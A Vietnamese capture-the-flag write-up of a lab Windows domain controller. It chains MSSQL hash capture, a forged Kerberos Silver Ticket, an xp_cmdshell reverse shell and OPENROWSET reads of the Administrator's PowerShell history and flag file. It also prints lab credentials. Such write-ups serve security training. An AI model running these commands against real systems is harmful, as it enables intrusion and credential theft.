# Signed # Recon Đầu tiên, mình thực recon qua **nmap** thu được kết quả như sau: ```nmap # Nmap 7.95 scan initiated Thu Oct 23 11:32:29 2025 as: /usr/lib/nmap/nmap -sC -sV -Pn -T4 -p- --stats-every=5s -oN Signed 10.10.11.90 Nmap scan report for 10.10.11.90 (10.10.11.90) Host is up (0.35s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM | ms-sql-ntlm-info: | 10.10.11.90:1433: | Target_Name: SIGNED | NetBIOS_Domain_Name: SIGNED | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: SIGNED.HTB | DNS_Computer_Name: DC01.SIGNED.HTB | DNS_Tree_Name: SIGNED.HTB |_ Product_Version: 10.0.17763 |_ssl-date: 2025-10-23T06:16:58+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-10-23T03:54:16 |_Not valid after: 2055-10-23T03:54:16 | ms-sql-info: | 10.10.11.90:1433: | Version: | name: Microsoft SQL Server 2022 RTM | number: 16.00.1000.00 | Product: Microsoft SQL Server 2022 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Oct 23 13:16:58 2025 -- 1 IP address (1 host up) scanned in 6268.31 seconds ``` Từ đây mình thu được: * 1443/tcp - **MSSQL** Như vậy mình ghi vào trong `/etc/hosts` ![image](https://hackmd.io/_uploads/BJ87_G7JZg.png) Kèm theo 1 credential được cung cấp là: `scott:Sm230#C5NatH` # Khai thác MSSQL Từ đây mình khai thác service này với credential được cung cấp. ![image](https://hackmd.io/_uploads/SkJkYz7kbl.png) Tiếp tục tìm hiểu các trong service này có gì.... ![image](https://hackmd.io/_uploads/rkwXtzXyZl.png) ![image](https://hackmd.io/_uploads/By8EKzQyZe.png) Từ đây mình thấy có user là `dbo` có **RoleName** là `db_owner`. Như vậy nếu mà chiếm được account này thì hoàn có quyền **admin** Nhưng đầu tiên trên user hiện tại có được dùng `xp_cmdshell` ko? ![image](https://hackmd.io/_uploads/HkYwpzQJWg.png) Thì user hiện tại ko có quyền. Đến đây thì tại sao tui phải mún có được `xp_cmdshell` - `xp_cmdshell` thực thi lệnh OS từ SQL. Nếu mà mình bật được `xp_cmdshell` với 1 user có quyền cao hơn, thì mình hoàn toàn có thể thực thi code hoàn toàn hợp lí. Và thường dùng `xp_dirtree` để capture **NTLM Hashes** để có thể chiếm được account Administrator. ```SQL SELECT OBJECT_ID('master..xp_dirtree') AS objid; SELECT HAS_PERMS_BY_NAME('master..xp_dirtree','OBJECT','EXECUTE'); ``` ```SQL SELECT HAS_PERMS_BY_NAME('master..xp_dirtree','OBJECT','EXECUTE') AS can_execute_xp_dirtree ``` ![image](https://hackmd.io/_uploads/SJ4n1Q7JZe.png) Và nếu nó trả về `1` từ có là user hiện tại có quyền dùng `xp_dirtree` ## Capture NTLM Hash qua Responder ![image](https://hackmd.io/_uploads/rJfEemmyZx.png) Từ trong **MSSQL** gửi về host attacker. ![image](https://hackmd.io/_uploads/BJWOgQm1Wl.png) Quay lại host attacker thì mình thu được như sau: ![image](https://hackmd.io/_uploads/r1YtgQ7kWx.png) Như vậy mình thu được hash rồi, mình cần đem hash này đem crack thử. ![image](https://hackmd.io/_uploads/B1LBXXXJZl.png) Từ đây mình tìm được passowrd là `purPLE9795!@` Tiếp theo mình hoàn toàn có thể login vào bằng account này. ![image](https://hackmd.io/_uploads/rJwQVQQJbl.png) Sau đó, mình thử kiểm tra xem account này có role gì ko. ```SQL SELECT r.name AS role, m.name AS member FROM sys.server_principals r JOIN sys.server_role_members rm ON r.principal_id = rm.role_principal_id JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id WHERE r.name = 'sysadmin'; ``` Đầu tiên, mình cần tìm hiểu trong `sys.server_principals` chứa cái gì? ![image](https://hackmd.io/_uploads/HyJNp9PJbe.png) Như vậy trong `sys.server_principals` thì nó chứa tất cả tất cả các tài khoản và vai trò trong server. Và trong `sys.server_role_members` chứa gì? ![image](https://hackmd.io/_uploads/Skj-RqPyWl.png) Như vậy thì khi đó thì sẽ lấy được **role** của **sysadmin** sẽ có các member nào. ![image](https://hackmd.io/_uploads/rkIHWsDy-l.png) Ở đây với `sysadmin` server role thì mình có các members như sau: - **sa** - **SIGNED\IT** - **NT SERVICE\SQLWriter** - **NT SERVICE\MSSQLSERVER** - **NT SERVICE\SQLVERAGENT** Với các cấu hình này thì tất cả các tài khoản này thì đều có đặc đủ đặc quyền quản trị trên phiên bản SQL Server. ## SILVER TICKET Như vậy nhìn thấy rõ ràng thì đây có thể khai thác theo hướng **Silver Ticket** **Silver Ticket** là một kiểu tấn công sau khi đã chiếm (post-exploit) --> attacker giả mạo ticket service Kerberos. ### Bước 1 - Lấy domain SID và SIDs cho groups/users Mình sẽ lấy domain name hiện tại ![image](https://hackmd.io/_uploads/B1DcEivkWg.png) Tiếp theo mình sẽ lấy SID cho **IT** và **MSSQLSVC**. ![image](https://hackmd.io/_uploads/SJzr8sDJZl.png) **SID** là mã định dạnh cho groups/users. Tóm tắt lại mình thu được: - Khi mình tìm kiếm **Domain** thì mình thu được Domain dưới dạng **NetBIOS domain name** - Khi mình tìm SID chuyển sang dạng hex thì thu được `0x010500`, thay vì ở định dạng mà con người đọc được `S-1-5-21...` Và để convert từ SID dạng hex này sang format có thể đọc được `S-1-...`, mình cần bỏ prefix `0x` và cấu trúc của SID như sau: - **Revision - 1 byte - phiên bản của SID (thường là 1)** - **Subauthority count - 1 byte - số lượng trường SubAuthority** - **Identifier authority - 6 byte - tổ chức cấp phát SID** - **Little-endian 4-byte subauthorities - Các giá trị SubAuthority tạo nên phần cuối của SID** Sắp xếp cấu trúc được form như sau: `S-<revision>-<identifier_authority>-<subauthority1>-...-<subauthorityN>` Như vậy mình có thể viết 1 script để phân tích như sau: ```python import struct def parse_sid(hex_str): # Bỏ '0x' nếu có if hex_str.startswith('0x'): hex_str = hex_str[2:] # Chuyển chuỗi hex sang bytes data = bytes.fromhex(hex_str) # Lấy revision và sub-authority count revision = data[0] subauth_count = data[1] # Đọc Identifier Authority (6 bytes big endian) id_auth = int.from_bytes(data[2:8], byteorder='big') # Đọc từng sub-authority (4 byte little endian) subs = [struct.unpack("<I", data[8+i*4:12+i*4])[0] for i in range(subauth_count)] # Tạo chuỗi SID đọc được sid_str = f"S-{revision}-{id_auth}-" + "-".join(str(s) for s in subs) return sid_str hex_sid = "0x0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000" print(parse_sid(hex_sid)) ``` Thu được kết quả một chuỗi có thể đọc được. ![image](https://hackmd.io/_uploads/S1Z36Bu1bg.png) Tiếp tục, mình parse của `SIGNED\mssqlsvc` ![image](https://hackmd.io/_uploads/Syc4ASOyZl.png) Như vậy thì thu được: - **Doamin SID**: S-1-5-21-4088429403-1159899800-2753317549 - **IT Group RID**: 1105 - **mssqlsvc RID**: 1103 ### Bước 2 - Tính toán NTLM hash (ntlmhash) Thì trong mô hình Kerberos nó sẽ dùng password của 1 user để băm ra tạo thành 1 khóa bí mật để thực hiện các bước xác thực trong Authentication Server. ![image](https://hackmd.io/_uploads/BJx2kIukbe.png) Cho nên mình cần tính toán như sau: ![image](https://hackmd.io/_uploads/H1hQZ8dk-l.png) Hoặc mình chạy trên terminal như sau: ![image](https://hackmd.io/_uploads/r1O_Z8dJWg.png) ### Bước 3 - Ép buộc tạo ra 1 Silver Ticket để có thể tiếp cận service ![image](https://hackmd.io/_uploads/BJ5EHUOkbl.png) Sau đó mình theo ticket này vào để tiến hành khai thác. ```bash export KRB5CCNAME=mssqlsvc.ccache ``` ![image](https://hackmd.io/_uploads/BkL0SL_kZg.png) Từ đây, mình có thể bật `enable_xp_cmdshell` ![image](https://hackmd.io/_uploads/S1bfU8Okbe.png) ### Upload reverse shell - tương tác qua Metasploit Sau khi bật `xp_cmdshell`, thì mình hoàn toàn có thể tương tác với command system. Rồi mình tiếp tục tìm kiếm trên folder của user `mssqlsvc` có gì ![image](https://hackmd.io/_uploads/By4sOL_ybx.png) ![image](https://hackmd.io/_uploads/rkFlYUdkWg.png) ![image](https://hackmd.io/_uploads/SJQmt8dJWe.png) Sau khi tìm kiếm thì mình sẽ upload 1 reverver shell như sau: ![image](https://hackmd.io/_uploads/ByM-9U_kWx.png) Sau khi upload thành công ![image](https://hackmd.io/_uploads/B1yE9Udybg.png) Tiếp theo mình khởi động metatsploit và setup để có thể có kết nối. ![image](https://hackmd.io/_uploads/SkT1oLu1Zx.png) Đồng thời trên target cho khởi chạy file payload đã upload bằng ``` xp_cmdshell "%TEMP%/rev.exe" ``` ![image](https://hackmd.io/_uploads/rJVro8uJ-x.png) Như vậy hoàn thành kết nối. ![image](https://hackmd.io/_uploads/Sy-OsLukZx.png) ### Upload reverse shell - tương tác qua Netcat Đầu tiên thì mình cấn có file **nc.exe** trên máy tấn công. Sau đó, cũng thực hiện upload lên. ![image](https://hackmd.io/_uploads/BJU2TL_J-e.png) Hoặc dùng ![image](https://hackmd.io/_uploads/rJ-QlDd1-e.png) Từ đây mình mở kết nối trên target. ![image](https://hackmd.io/_uploads/HkyF8PO1bx.png) Trên máy attack thì mở kết nối để nhận ![image](https://hackmd.io/_uploads/SJIH3v_1-g.png) ## Leo thang đặc quyền để lấy Full Control Sau khi có được kết nối thì mình hoàn toàn có thể upload 1 file phổ biến để xác định thêm thông tin là **winPEASx64.exe** ![image](https://hackmd.io/_uploads/Sy4NNvd1Zg.png) Và để leo thang đặc quyền mình có thể biết đến là **Golden Ticket** Nhưng có hai key group trong Active Directory: - **Domain Admins - RID** `512` - **Enterprise Admins - RID** `519` Đây là những group được coi là có quyền `admin`, như vậy nếu mình có ticket này thì hoàn toàn có thể truy cập thông tin nhạy cảm. Hiện tại thì mình chưa có quyền admin. ![image](https://hackmd.io/_uploads/BkGDCDdkWe.png) Mình cũng thực hiện lấy SID như ở trên. ![image](https://hackmd.io/_uploads/HycS1OdyWg.png) Nhưng mình cũng phải chuyển sang dạng đọc được. Và mình đã có revershell cho nên mình đọc bằng PowerShell ![image](https://hackmd.io/_uploads/HyjZgddJbx.png) Mình lặp lại các bước tạo ticket như sau: ![image](https://hackmd.io/_uploads/BJU2xu_kWe.png) Mình tiếp tục `export KRB5CCNAME=mssqlsvc.ccache` Sau đó, login lại bằng cái vé mới đó. ![image](https://hackmd.io/_uploads/BJXmzO_Jbx.png) Mình cần enable advanced configure options trong SQL Server. ![image](https://hackmd.io/_uploads/ryEyIuuJbe.png) Tiếp theo mình cần bật `Ad Hoc Distributed Queries` cho phép các truy vấn `ad hoc` đến các nguồn dữ liệu bên ngoài. ![image](https://hackmd.io/_uploads/rJq8q_d1bx.png) Dựa vào đây thì mình hoàn toàn có thể lấy nội dung qua lệnh PowerShell. ```SQL SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt',SINGLE_CLOB) AS x; ``` ![image](https://hackmd.io/_uploads/SJ1e-YOJZl.png) ```SQL SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt',SINGLE_CLOB) AS x; ``` ![image](https://hackmd.io/_uploads/HksEbt_yZl.png) ![image](https://hackmd.io/_uploads/BkcubFuyWl.png) ### Thông tin tìm được Ở đây, mình đã tìm ra 1 credentials admin - **Administrator:Th1s889Rabb!t** Như vậy mình đã chạy lệnh Admin trên tài khoản `mssqlsvc`, nhưng như vậy có thể bị lộ nếu mình ko chạy trên chính tài khoản Admin. Do đó, mình upload 1 tool tên là `RunasCs.exe` để có thể tiến hành chạy bằng credential mình mới lấy được. ![image](https://hackmd.io/_uploads/H1ArLYuJWg.png) Sau khi upload thì dựa vào reverse shell lúc đầu mình thực hiện chạy. ![image](https://hackmd.io/_uploads/BkbPwK_Jbe.png) Quay lại chỗ netcat lắng nghe port 9999. ![image](https://hackmd.io/_uploads/BkgKwtukWx.png) ![image](https://hackmd.io/_uploads/HJkydK_1bx.png)